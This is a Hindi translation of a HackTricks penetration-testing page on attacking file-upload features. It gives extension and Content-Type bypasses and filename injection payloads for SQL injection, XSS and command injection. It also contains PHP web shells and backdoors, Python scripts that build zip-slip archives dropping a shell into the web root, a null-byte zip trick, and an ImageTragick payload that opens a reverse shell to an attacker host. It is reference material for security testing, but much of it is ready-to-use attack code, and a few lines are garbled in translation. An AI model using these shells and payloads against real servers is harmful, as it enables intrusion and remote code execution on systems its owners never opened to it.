hacktricks/pentesting-web/file-upload.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

30 KiB
Raw Permalink Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

फ़ाइल अपलोड सामान्य मेथडोलॉजी

  1. एक डबल एक्सटेंशन के साथ एक फ़ाइल अपलोड करने का प्रयास करें (उदा। file.png.php या file.png.php5)।
  • PHP एक्सटेंशन: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
  • ASP एक्सटेंशन: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
  1. एक्सटेंशन के कुछ अक्षरों को अपरकेस में परिवर्तित करने का प्रयास करें। जैसे: .pHp, .pHP5, .PhAr ...
  2. कुछ डबल या अधिक एक्सटेंशन अपलोड करने का प्रयास करें जो एक विशेष एक्सटेंशन की जांच करने वाली गलत विन्यासित जांच को छोड़ देती है:
  3. file.png.php
  4. file.png.txt.php
  5. अपाचे गलत विन्यासों का शोध करने के लिए रिवर्स डबल एक्सटेंशन अपलोड करें जहां कुछ भी एक्सटेंशन _.php_ के साथ होगा, लेकिन **अनिवार्य रूप से .php से समाप्त नहीं होगा** वहां कोड को निष्पादित करेगा:
  • उदा। file.php.png
  1. नल कैरेक्टर के साथ डबल एक्सटेंशन:
  2. उदा। file.php%00.png
  3. एक्सटेंशन के अंत में कुछ विशेष वर्ण जोड़ें_: %00, %20, कई डॉट्स...._
  4. उदा। file.php%00
  5. उदा। file.php%20
  6. उदा। file.php...... --> विंडोज में जब एक फ़ाइल डॉट्स के साथ बनाई जाती है, तो वे हटा दिए जाएंगे (इसलिए आप .php की जांच करने वाले फ़िल्टर को छल सकते हैं)
  7. उदा। file.php/
  8. _उदा। file.php._
  9. Content-Type हैडर के मान को सेट करके Content-Type जांच को छलने का प्रयास करें: image/png , text/plain , application/octet-stream
  10. मैजिक नंबर जांच को छलने के लिए फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट जोड़ें (फ़ाइल को गुमराह करें)। या शेल को मेटाडेटा में प्रस्तुत करें: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  11. यह भी संभव है कि मैजिक बाइट फ़ाइल में केवल जांचे जा रहे हैं और आप उन्हें फ़ाइल के कहीं भी सेट कर सकते हैं।
  12. Windows में **NTFS वैकल्पिक फ़ाइलें .phar जावा के लिए .jar की तरह हैं, लेकिन php के लिए हैं, और इसे एक php फ़ाइल की तरह उपयोग किया जा सकता है php के साथ इसे निष्पादित करके या इसे स्क्रिप्ट के भीतर सम्मिलित करके...

.inc एक्सटेंशन कभी-कभी उन php फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए होती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है

BurpSuit प्लगइन के साथ बहुत सारी संभावित फ़ाइल अपलोड संरचनाओं की जांच करें https://github.com/modzero/mod0BurpUploadScanner या एक कंसोल एप्लिकेशन का उपयोग करें जो अपलोड किए जा सकने वाली फ़ाइलें खोजता है और कोड निष्पादित करने के लिए विभिन्न ट्रिक्स का प्रयास करता है: https://github.com/almandin/fuxploider

wget फ़ाइल अपलोड/SSRF ट्रिक

कभी-कभी आपको यह देखने को मिल सकता है कि एक सर्वर wget का उपयोग कर रहा है फ़ाइलें डाउनलोड करने के लिए और आप URL को इंगित कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक whitelist में है ताकि केवल अनुमति प्राप्त फ़ाइलें ही डाउनलोड हों। हालांकि, इस जांच को दूर किया जा सकता हैलिनक्स में एक फ़ाइलनाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइलनाम को 236 वर्णों तक काट देता है। आप "A"*232+".php"+".gif" नामक एक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइलनाम जांच को दूर करेगा जैसा कि इस उदाहरण में **".gif"** एक **वैध** एक्सटेंशन है लेकिन wget फ़ाइल को "A"*232+".php" नाम से पुनर्नामित करेगा।

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

नोट करें कि इस जांच को बाईपास करने के लिए आपके मन में एक और विकल्प हो सकता है, जो है कि HTTP सर्वर को एक अलग फ़ाइल पर पुनर्निर्देशित करें, तो प्रारंभिक URL जांच को बाईपास करेगा, फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names के साथ उपयोग किया जा रहा हो, क्योंकि wget पुनर्निर्देशित पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा

फ़ाइल अपलोड से अन्य सुरक्षा दुरुपयोगों तक

  • फ़ाइलनाम को ../../../tmp/lol.png सेट करें और पथ ट्रावर्सल प्राप्त करने का प्रयास करें
  • फ़ाइलनाम को sleep(10)-- -.jpg सेट करें और आप एक SQL इंजेक्शन प्राप्त कर सकते हैं
  • फ़ाइलनाम को <svg onload=alert(document.comain)> सेट करें और एक XSS प्राप्त करें
  • फ़ाइलनाम को ; sleep 10; सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें अधिक [कमांड इंजेक्शन ट्रिक्स यहां](command-injection.md)
  • छवि svg फ़ाइल अपलोड में XSS
  • JS फ़ाइल अपलोड + XSS = सेवा कर्मचारी शोषण
  • svg अपलोड में XXE
  • अपलोड करने के माध्यम से ओपन रीडायरेक्ट
  • प्रसिद्ध ImageTrick सुरक्षा दुरुपयोग
  • यदि आप वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेत कर सकते हैं, तो आप SSRF का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह छवि किसी सार्वजनिक साइट में सहेजी जाएगी, तो आप https://iplogger.org/invisible/ से एक URL निर्दिष्ट कर सकते हैं और प्रत्येक आगंतुक की जानकारी चुरा सकते हैं

यहां एक शीर्ष 10 सूची है जिनके द्वारा आप अपलोड करके कुछ प्राप्त कर सकते हैं स्रोत से [लिंक](https://twitter.com/SalahHasoneh1/status/1281274120395685889):

  1. ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
  2. SVG: स्थायी XSS / SSRF / XXE
  3. GIF: स्थायी XSS / SSRF
  4. CSV: CSV इंजेक्शन
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
  8. PNG / JPEG: पिक्सेल बाढ़ हमला DoS
  9. ZIP: LFI के माध्यम से RCE / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

ज़िप फ़ाइल स्वचालित रूप से डिकंप्रेस किए जाने वाले अपलोड

यदि आप एक ज़िप अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होगा, तो आप दो चीजें कर सकते हैं:

सिंबलिंक

अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स को समर्पित एक लिंक अपलोड करें, फिर, डिकंप्रेस हुए फ़ाइलों तक पहुंचते हुए आप लिंकित फ़ाइलों तक पहुंचेंगे:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

विभिन्न फ़ोल्डरों में डीकंप्रेस करें

डीकंप्रेस किए गए फ़ाइलें अप्रत्याशित फ़ोल्डरों में बनाई जाएंगी।

आसानी से सोचा जा सकता है कि यह सेटअप ख़राब फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड निष्पादन से सुरक्षित है, लेकिन दुर्भाग्य से यह सच नहीं है। क्योंकि ZIP आर्काइव प्रारूप हार्कियर्कल कंप्रेशन को समर्थित करता है और हम उच्च स्तरीय निर्देशिकाओं का संदर्भ भी कर सकते हैं, हम लक्ष्य अनुप्रयोग की डीकंप्रेशन सुविधा का दुरुपयोग करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकल सकते हैं।

इस तरह की फ़ाइलें बनाने के लिए स्वचालित उत्पादन यहां मिल सकता है: https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

कुछ पायथन कोड एक दुष्ट ज़िप बनाने के लिए:

import zipfile

# Create a new zip file
zip_file = zipfile.ZipFile('malicious.zip', 'w')

# Add a malicious file to the zip
zip_file.write('malicious_file.exe')

# Close the zip file
zip_file.close()

यहां malicious_file.exe एक दुष्ट फ़ाइल है जो आप ज़िप में शामिल करना चाहते हैं। आप इस कोड को चलाने के बाद, malicious.zip नामक एक नया ज़िप फ़ाइल बनेगी जिसमें यह दुष्ट फ़ाइल शामिल होगी।

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

दूरस्थ कमांड निष्पादन को प्राप्त करने के लिए मैंने निम्नलिखित कदम उठाए:

  1. एक PHP शैल बनाएं:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. "फ़ाइल स्प्रे" का उपयोग करें और एक संपीड़ित ज़िप फ़ाइल बनाएं:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. हेक्स एडिटर या वीआई का उपयोग करें और "xxA" को "../" में बदलें, मैंने वीआई का उपयोग किया:
:set modifiable
:%s/xxA/..\//g
:x!

केवल एक कदम शेष रह गया: ZIP फ़ाइल अपलोड करें और ऐप्लिकेशन को इसे डीकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर को निर्दिष्ट निर्देशिकाओं में लिखने के लिए पर्याप्त अधिकार होते हैं, तो सिस्टम पर एक साधारण ओएस कमांड निष्पादन शैली होगी:

b1

संदर्भ: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

एक अलग नाम के साथ डीकंप्रेस करें

कभी-कभी ऐप्लिकेशन एक फ़ाइल के लोड होने को ब्लॉक कर देता है जबकि यह जांचता है कि ज़िप फ़ाइल के अंदर का एक्सटेंशन क्या है। यदि यह सतर्कता सतही है, अर्थात लोकल फ़ील्ड हैडर के अंदर की फ़ाइल के नाम की जांच करके, तो इसे ऐप्लिकेशन को धोखा देने के लिए दूसरे एक्सटेंशन के साथ बनाकर आप इसे चक्रव्यूह में डीकंप्रेस कर सकते हैं।

हम पिछले स्क्रिप्ट को फिर से उपयोग करके एक ज़िप फ़ाइल बना सकते हैं।

import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

ध्यान दें कि नाम में इसके अंदर एक स्थान है। अब आप एक हेक्स संपादक के साथ उत्पन्न किए गए ज़िप फ़ाइल को संपादित कर सकते हैं, और केंद्रीय निर्देशिका हैडर के अंदर स्थित नाम में इस वर्ग को एक शून्य बाइट 00 से बदल सकते हैं:

# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064  ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064  ...shell.php..pd

जब एप्लिकेशन ज़िप के अंदर फ़ाइल के फ़ाइलनेम की जांच करेगा, तो इस जांच के लिए उपयोग किया जाने वाला नाम स्थानीय फ़ाइल हैडर का नाम होगा, लेकिन अगर ज़िप एन्क्रिप्टेड है तो नहीं (pkzip स्पेसिफिकेशन देखें)। जब 7z या unzip दो नामों के बीच अंतर देखेंगे, तो फ़ाइल को संग्रहीत करने के लिए उपयोग किया जाने वाला नाम सेंट्रल डायरेक्टरी हेडर का नाम होगा। नल बाइट के धन्यवाद से, नाम shell.php होगा।

जब डीकंप्रेस किया जाएगा:

7z e poc.zip
ls
shell.php

संदर्भ:

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html

https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ImageTragic

इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि यह सुरक्षा कमजोरी का उपयोग कर सके (ImageMagick, 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PGN में PHP शेल एम्बेड करना

IDAT चंक में वेब शेल रखने का प्राथमिक कारण यह है कि इसके पास रीसाइज़ और री-सैंपलिंग ऑपरेशनों को छलने की क्षमता होती है - PHP-GD में इसे करने के लिए दो फ़ंक्शन होते हैं imagecopyresized और imagecopyresampled.

इस पोस्ट को पढ़ें: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

पॉलीग्लॉट फ़ाइलें

सुरक्षा संदर्भ में, पॉलीग्लॉट फ़ाइलें ऐसी फ़ाइलें हैं जो कई अलग-अलग फ़ाइल प्रकारों के मान्य रूप हैं। उदाहरण के लिए, GIFAR एक GIF और RAR फ़ाइल दोनों है। वहां ऐसी भी फ़ाइलें हैं जो GIF और JS, PPT और JS, आदि दोनों हो सकती हैं।

पॉलीग्लॉट फ़ाइलें अक्सर फ़ाइल प्रकार पर आधारित सुरक्षा से बचने के आधार पर सुरक्षा को छलने के लिए उपयोग की जाती हैं। बहुत सारे ऐप्लिकेशन उपयोगकर्ताओं को केवल निश्चित प्रकारों जैसे JPEG, GIF, DOC जैसी फ़ाइलें अपलोड करने की अनुमति देते हैं, ताकि उपयोगकर्ताओं को JS फ़ाइलें, PHP फ़ाइलें या Phar फ़ाइलें जैसी संभावित खतरनाक फ़ाइलें अपलोड करने से रोका जा सके।

इससे ऐसी फ़ाइल को अपलोड करने में मदद मिलती है जो कई अलग-अलग प्रारूपों के साथ मेल खाती है। यह आपको एक PHAR फ़ाइल (PHp ARchive) को अपलोड करने की अनुमति देता है जो एक JPEG की तरह दिखती है, लेकिन शायद आपको एक मान्य एक्सटेंशन की भी आवश्यकता होगी और यदि अपलोड फ़ंक्शन इसे अनुमति नहीं देता है तो यह आपकी मदद नहीं करेगा।

अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥